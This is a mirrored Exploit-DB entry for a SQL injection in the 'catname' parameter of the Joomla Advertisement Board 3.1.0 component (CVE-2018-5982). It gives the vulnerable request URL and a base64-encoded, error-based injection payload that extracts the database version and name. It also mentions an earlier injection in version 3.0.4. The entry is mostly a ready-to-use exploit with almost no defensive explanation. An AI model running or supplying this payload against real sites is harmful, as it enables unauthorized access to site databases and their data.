Joomla! Component Advertisement Board 3.1.0 – ‘catname’ SQL Injection - 体验盒子

作者： Ihsan Sencan

日期： 2018-02-16

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/44105/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

# # # #

# Exploit Title: Joomla! Component Advertisement Board 3.1.0 - SQL Injection

# Dork: N/A

# Date: 16.02.2018

# Vendor Homepage: http://ordasoft.com/

# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/advertisement-board/

# Version: 3.1.0

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: CVE-2018-5982

# # # #

# Exploit Author: Ihsan Sencan

# # # #

#

# POC:

#

# 1)

# http://localhost/[PATH]/index.php?option=com_advertisementboard&Itemid=132&task=show_rss_categories&catname=[SQL]

#

# YWFhJyBPUiAoU0VMRUNUIDYwMDQgRlJPTShTRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKEBAdmVyc2lvbiwoU0VMRUNUIChFTFQoNjAwND02MDA0LDEpKSksMHg3ZTdlN2UsZGF0YWJhc2UoKSxGTE9PUihSQU5EKDApKjIpKXggRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEuUExVR0lOUyBHUk9VUCBCWSB4KWEpLS0gSHRMQg==

#

# # # #

Joomla! Component Advertisement Board v3.0.4

id parameter,v3.0.4 previously found.

https://www.exploit-db.com/exploits/41600